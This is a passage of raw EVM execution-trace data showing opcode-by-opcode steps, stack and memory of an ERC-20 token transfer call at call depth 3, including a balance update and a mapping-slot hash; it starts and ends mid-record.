f40ac09b","0x0","0x136dbf40ac09b","0x1c9e86fdaef99c0a3e0522938c5a2734a8b16b882ab580efe422cad00b0bf398","0x0","0x52b","0x136dbf40ac09b","0xc50dfd48a20630e6"],"memory":["0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":1322,"op":"JUMP","gas":58210,"gasCost":8,"depth":3,"stack":["0xa9059cbb","0x11f","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x136dbf40ac09b","0x0","0x730","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x136dbf40ac09b","0x0","0x136dbf40ac09b","0x1c9e86fdaef99c0a3e0522938c5a2734a8b16b882ab580efe422cad00b0bf398","0x0","0x52b","0x136dbf40ac09b","0xc50dfd48a20630e6","0x8dd"],"memory":["0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":2269,"op":"JUMPDEST","gas":58202,"gasCost":1,"depth":3,"stack":["0xa9059cbb","0x11f","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x136dbf40ac09b","0x0","0x730","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x136dbf40ac09b","0x0","0x136dbf40ac09b","0x1c9e86fdaef99c0a3e0522938c5a2734a8b16b882ab580efe422cad00b0bf398","0x0","0x52b","0x136dbf40ac09b","0xc50dfd48a20630e6"],"memory":["0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":2270,"op":"PUSH1","gas":58201,"gasCost":3,"depth":3,"stack":["0xa9059cbb","0x11f","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x136dbf40ac09b","0x0","0x730","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x136dbf40ac09b","0x0","0x136dbf40ac09b","0x1c9e86fdaef99c0a3e0522938c5a2734a8b16b882ab580efe422cad00b0bf398","0x0","0x52b","0x136dbf40ac09b","0xc50dfd48a20630e6"],"memory":["0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":2272,"op":"DUP3","gas":58198,"gasCost":3,"depth":3,"stack":["0xa9059cbb","0x11f","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x136dbf40ac09b","0x0","0x730","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x136dbf40ac09b","0x0","0x136dbf40ac09b","0x1c9e86fdaef99c0a3e0522938c5a2734a8b16b882ab580efe422cad00b0bf398","0x0","0x52b","0x136dbf40ac09b","0xc50dfd48a20630e6","0x0"],"memory":["0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":2273,"op":"DUP3","gas":58195,"gasCost":3,"depth":3,"stack":["0xa9059cbb","0x11f","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x136dbf40ac09b","0x0","0x730","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x136dbf40ac09b","0x0","0x136dbf40ac09b","0x1c9e86fdaef99c0a3e0522938c5a2734a8b16b882ab580efe422cad00b0bf398","0x0","0x52b","0x136dbf40ac09b","0xc50dfd48a20630e6","0x0","0x136dbf40ac09b"],"memory":["0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":2274,"op":"LT","gas":58192,"gasCost":3,"depth":3,"stack":["0xa9059cbb","0x11f","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x136dbf40ac09b","0x0","0x730","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x136dbf40ac09b","0x0","0x136dbf40ac09b","0x1c9e86fdaef99c0a3e0522938c5a2734a8b16b882ab580efe422cad00b0bf398","0x0","0x52b","0x136dbf40ac09b","0xc50dfd48a20630e6","0x0","0x136dbf40ac09b","0xc50dfd48a20630e6"],"memory":["0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":2275,"op":"ISZERO","gas":58189,"gasCost":3,"depth":3,"stack":["0xa9059cbb","0x11f","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x136dbf40ac09b","0x0","0x730","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x136dbf40ac09b","0x0","0x136dbf40ac09b","0x1c9e86fdaef99c0a3e0522938c5a2734a8b16b882ab580efe422cad00b0bf398","0x0","0x52b","0x136dbf40ac09b","0xc50dfd48a20630e6","0x0","0x0"],"memory":["0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":2276,"op":"PUSH2","gas":58186,"gasCost":3,"depth":3,"stack":["0xa9059cbb","0x11f","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x136dbf40ac09b","0x0","0x730","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x136dbf40ac09b","0x0","0x136dbf40ac09b","0x1c9e86fdaef99c0a3e0522938c5a2734a8b16b882ab580efe422cad00b0bf398","0x0","0x52b","0x136dbf40ac09b","0xc50dfd48a20630e6","0x0","0x1"],"memory":["0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":2279,"op":"JUMPI","gas":58183,"gasCost":10,"depth":3,"stack":["0xa9059cbb","0x11f","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x136dbf40ac09b","0x0","0x730","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x136dbf40ac09b","0x0","0x136dbf40ac09b","0x1c9e86fdaef99c0a3e0522938c5a2734a8b16b882ab580efe422cad00b0bf398","0x0","0x52b","0x136dbf40ac09b","0xc50dfd48a20630e6","0x0","0x1","0x8ef"],"memory":["0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":2287,"op":"JUMPDEST","gas":58173,"gasCost":1,"depth":3,"stack":["0xa9059cbb","0x11f","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x136dbf40ac09b","0x0","0x730","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x136dbf40ac09b","0x0","0x136dbf40ac09b","0x1c9e86fdaef99c0a3e0522938c5a2734a8b16b882ab580efe422cad00b0bf398","0x0","0x52b","0x136dbf40ac09b","0xc50dfd48a20630e6","0x0"],"memory":["0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":2288,"op":"POP","gas":58172,"gasCost":2,"depth":3,"stack":["0xa9059cbb","0x11f","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x136dbf40ac09b","0x0","0x730","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x136dbf40ac09b","0x0","0x136dbf40ac09b","0x1c9e86fdaef99c0a3e0522938c5a2734a8b16b882ab580efe422cad00b0bf398","0x0","0x52b","0x136dbf40ac09b","0xc50dfd48a20630e6","0x0"],"memory":["0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":2289,"op":"SUB","gas":58170,"gasCost":3,"depth":3,"stack":["0xa9059cbb","0x11f","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x136dbf40ac09b","0x0","0x730","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x136dbf40ac09b","0x0","0x136dbf40ac09b","0x1c9e86fdaef99c0a3e0522938c5a2734a8b16b882ab580efe422cad00b0bf398","0x0","0x52b","0x136dbf40ac09b","0xc50dfd48a20630e6"],"memory":["0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":2290,"op":"SWAP1","gas":58167,"gasCost":3,"depth":3,"stack":["0xa9059cbb","0x11f","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x136dbf40ac09b","0x0","0x730","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x136dbf40ac09b","0x0","0x136dbf40ac09b","0x1c9e86fdaef99c0a3e0522938c5a2734a8b16b882ab580efe422cad00b0bf398","0x0","0x52b","0xc50cc66cadfb704b"],"memory":["0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":2291,"op":"JUMP","gas":58164,"gasCost":8,"depth":3,"stack":["0xa9059cbb","0x11f","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x136dbf40ac09b","0x0","0x730","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x136dbf40ac09b","0x0","0x136dbf40ac09b","0x1c9e86fdaef99c0a3e0522938c5a2734a8b16b882ab580efe422cad00b0bf398","0x0","0xc50cc66cadfb704b","0x52b"],"memory":["0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":1323,"op":"JUMPDEST","gas":58156,"gasCost":1,"depth":3,"stack":["0xa9059cbb","0x11f","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x136dbf40ac09b","0x0","0x730","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x136dbf40ac09b","0x0","0x136dbf40ac09b","0x1c9e86fdaef99c0a3e0522938c5a2734a8b16b882ab580efe422cad00b0bf398","0x0","0xc50cc66cadfb704b"],"memory":["0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":1324,"op":"SWAP1","gas":58155,"gasCost":3,"depth":3,"stack":["0xa9059cbb","0x11f","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x136dbf40ac09b","0x0","0x730","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x136dbf40ac09b","0x0","0x136dbf40ac09b","0x1c9e86fdaef99c0a3e0522938c5a2734a8b16b882ab580efe422cad00b0bf398","0x0","0xc50cc66cadfb704b"],"memory":["0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":1325,"op":"SWAP2","gas":58152,"gasCost":3,"depth":3,"stack":["0xa9059cbb","0x11f","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x136dbf40ac09b","0x0","0x730","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x136dbf40ac09b","0x0","0x136dbf40ac09b","0x1c9e86fdaef99c0a3e0522938c5a2734a8b16b882ab580efe422cad00b0bf398","0xc50cc66cadfb704b","0x0"],"memory":["0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":1326,"op":"SSTORE","gas":58149,"gasCost":2900,"depth":3,"stack":["0xa9059cbb","0x11f","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x136dbf40ac09b","0x0","0x730","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x136dbf40ac09b","0x0","0x136dbf40ac09b","0x0","0xc50cc66cadfb704b","0x1c9e86fdaef99c0a3e0522938c5a2734a8b16b882ab580efe422cad00b0bf398"],"memory":["0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":1327,"op":"POP","gas":55249,"gasCost":2,"depth":3,"stack":["0xa9059cbb","0x11f","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x136dbf40ac09b","0x0","0x730","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x136dbf40ac09b","0x0","0x136dbf40ac09b","0x0"],"memory":["0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":1328,"op":"POP","gas":55247,"gasCost":2,"depth":3,"stack":["0xa9059cbb","0x11f","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x136dbf40ac09b","0x0","0x730","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x136dbf40ac09b","0x0","0x136dbf40ac09b"],"memory":["0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":1329,"op":"PUSH1","gas":55245,"gasCost":3,"depth":3,"stack":["0xa9059cbb","0x11f","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x136dbf40ac09b","0x0","0x730","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x136dbf40ac09b","0x0"],"memory":["0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":1331,"op":"PUSH1","gas":55242,"gasCost":3,"depth":3,"stack":["0xa9059cbb","0x11f","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x136dbf40ac09b","0x0","0x730","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x136dbf40ac09b","0x0","0x1"],"memory":["0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":1333,"op":"PUSH1","gas":55239,"gasCost":3,"depth":3,"stack":["0xa9059cbb","0x11f","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x136dbf40ac09b","0x0","0x730","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x136dbf40ac09b","0x0","0x1","0x1"],"memory":["0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":1335,"op":"SHL","gas":55236,"gasCost":3,"depth":3,"stack":["0xa9059cbb","0x11f","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x136dbf40ac09b","0x0","0x730","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x136dbf40ac09b","0x0","0x1","0x1","0xa0"],"memory":["0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":1336,"op":"SUB","gas":55233,"gasCost":3,"depth":3,"stack":["0xa9059cbb","0x11f","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x136dbf40ac09b","0x0","0x730","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x136dbf40ac09b","0x0","0x1","0x10000000000000000000000000000000000000000"],"memory":["0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":1337,"op":"DUP4","gas":55230,"gasCost":3,"depth":3,"stack":["0xa9059cbb","0x11f","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x136dbf40ac09b","0x0","0x730","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x136dbf40ac09b","0x0","0xffffffffffffffffffffffffffffffffffffffff"],"memory":["0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":1338,"op":"AND","gas":55227,"gasCost":3,"depth":3,"stack":["0xa9059cbb","0x11f","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x136dbf40ac09b","0x0","0x730","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x136dbf40ac09b","0x0","0xffffffffffffffffffffffffffffffffffffffff","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a"],"memory":["0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":1339,"op":"PUSH1","gas":55224,"gasCost":3,"depth":3,"stack":["0xa9059cbb","0x11f","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x136dbf40ac09b","0x0","0x730","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a"],"memory":["0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":1341,"op":"SWAP1","gas":55221,"gasCost":3,"depth":3,"stack":["0xa9059cbb","0x11f","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x136dbf40ac09b","0x0","0x730","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x0"],"memory":["0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":1342,"op":"DUP2","gas":55218,"gasCost":3,"depth":3,"stack":["0xa9059cbb","0x11f","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x136dbf40ac09b","0x0","0x730","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x136dbf40ac09b","0x0","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a"],"memory":["0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":1343,"op":"MSTORE","gas":55215,"gasCost":3,"depth":3,"stack":["0xa9059cbb","0x11f","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x136dbf40ac09b","0x0","0x730","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x136dbf40ac09b","0x0","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x0"],"memory":["0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":1344,"op":"PUSH1","gas":55212,"gasCost":3,"depth":3,"stack":["0xa9059cbb","0x11f","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x136dbf40ac09b","0x0","0x730","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x136dbf40ac09b","0x0","0x0"],"memory":["00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":1346,"op":"PUSH1","gas":55209,"gasCost":3,"depth":3,"stack":["0xa9059cbb","0x11f","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x136dbf40ac09b","0x0","0x730","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x136dbf40ac09b","0x0","0x0","0x3"],"memory":["00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":1348,"op":"MSTORE","gas":55206,"gasCost":3,"depth":3,"stack":["0xa9059cbb","0x11f","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x136dbf40ac09b","0x0","0x730","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x136dbf40ac09b","0x0","0x0","0x3","0x20"],"memory":["00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":1349,"op":"PUSH1","gas":55203,"gasCost":3,"depth":3,"stack":["0xa9059cbb","0x11f","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x136dbf40ac09b","0x0","0x730","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x136dbf40ac09b","0x0","0x0"],"memory":["00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":1351,"op":"DUP2","gas":55200,"gasCost":3,"depth":3,"stack":["0xa9059cbb","0x11f","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x136dbf40ac09b","0x0","0x730","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x136dbf40ac09b","0x0","0x0","0x40"],"memory":["00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":1352,"op":"KECCAK256","gas":55197,"gasCost":42,"depth":3,"stack":["0xa9059cbb","0x11f","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x136dbf40ac09b","0x0","0x730","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x136dbf40ac09b","0x0","0x0","0x40","0x0"],"memory":["00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":1353,"op":"DUP1","gas":55155,"gasCost":3,"depth":3,"stack":["0xa9059cbb","0x11f","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x136dbf40ac09b","0x0","0x730","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x136dbf40ac09b","0x0","0x0","0x735fec32c8eae8b2d3ca48e802dd6ed66152ce536ace4209d38c1f2365386504"],"memory":["00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":1354,"op":"SLOAD","gas":55152,"gasCost":2100,"depth":3,"stack":["0xa9059cbb","0x11f","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x136dbf40ac09b","0x0","0x730","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x136dbf40ac09b","0x0","0x0","0x735fec32c8eae8b2d3ca48e802dd6ed66152ce536ace4209d38c1f2365386504","0x735fec32c8eae8b2d3ca48e802dd6ed66152ce536ace4209d38c1f2365386504"],"memory":["00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":1355,"op":"DUP5","gas":53052,"gasCost":3,"depth":3,"stack":["0xa9059cbb","0x11f","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x136dbf40ac09b","0x0","0x730","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x136dbf40ac09b","0x0","0x0","0x735fec32c8eae8b2d3ca48e802dd6ed66152ce536ace4209d38c1f2365386504","0x0"],"memory":["00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":1356,"op":"SWAP3","gas":53049,"gasCost":3,"depth":3,"stack":["0xa9059cbb","0x11f","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x136dbf40ac09b","0x0","0x730","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x136dbf40ac09b","0x0","0x0","0x735fec32c8eae8b2d3ca48e802dd6ed66152ce536ace4209d38c1f2365386504","0x0","0x136dbf40ac09b"],"memory":["00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":1357,"op":"SWAP1","gas":53046,"gasCost":3,"depth":3,"stack":["0xa9059cbb","0x11f","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x136dbf40ac09b","0x0","0x730","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x136dbf40ac09b","0x0","0x136dbf40ac09b","0x735fec32c8eae8b2d3ca48e802dd6ed66152ce536ace4209d38c1f2365386504","0x0","0x0"],"memory":["00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":1358,"op":"PUSH2","gas":53043,"gasCost":3,"depth":3,"stack":["0xa9059cbb","0x11f","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x136dbf40ac09b","0x0","0x730","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x136dbf40ac09b","0x0","0x136dbf40ac09b","0x735fec32c8eae8b2d3ca48e802dd6ed66152ce536ace4209d38c1f2365386504","0x0","0x0"],"memory":["00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":1361,"op":"SWAP1","gas":53040,"gasCost":3,"depth":3,"stack":["0xa9059cbb","0x11f","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x136dbf40ac09b","0x0","0x730","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x136dbf40ac09b","0x0","0x136dbf40ac09b","0x735fec32c8eae8b2d3ca48e802dd6ed66152ce536ace4209d38c1f2365386504","0x0","0x0","0x558"],"memory":["00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":1362,"op":"DUP5","gas":53037,"gasCost":3,"depth":3,"stack":["0xa9059cbb","0x11f","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x136dbf40ac09b","0x0","0x730","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x136dbf40ac09b","0x0","0x136dbf40ac09b","0x735fec32c8eae8b2d3ca48e802dd6ed66152ce536ace4209d38c1f2365386504","0x0","0x558","0x0"],"memory":["00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":1363,"op":"SWAP1","gas":53034,"g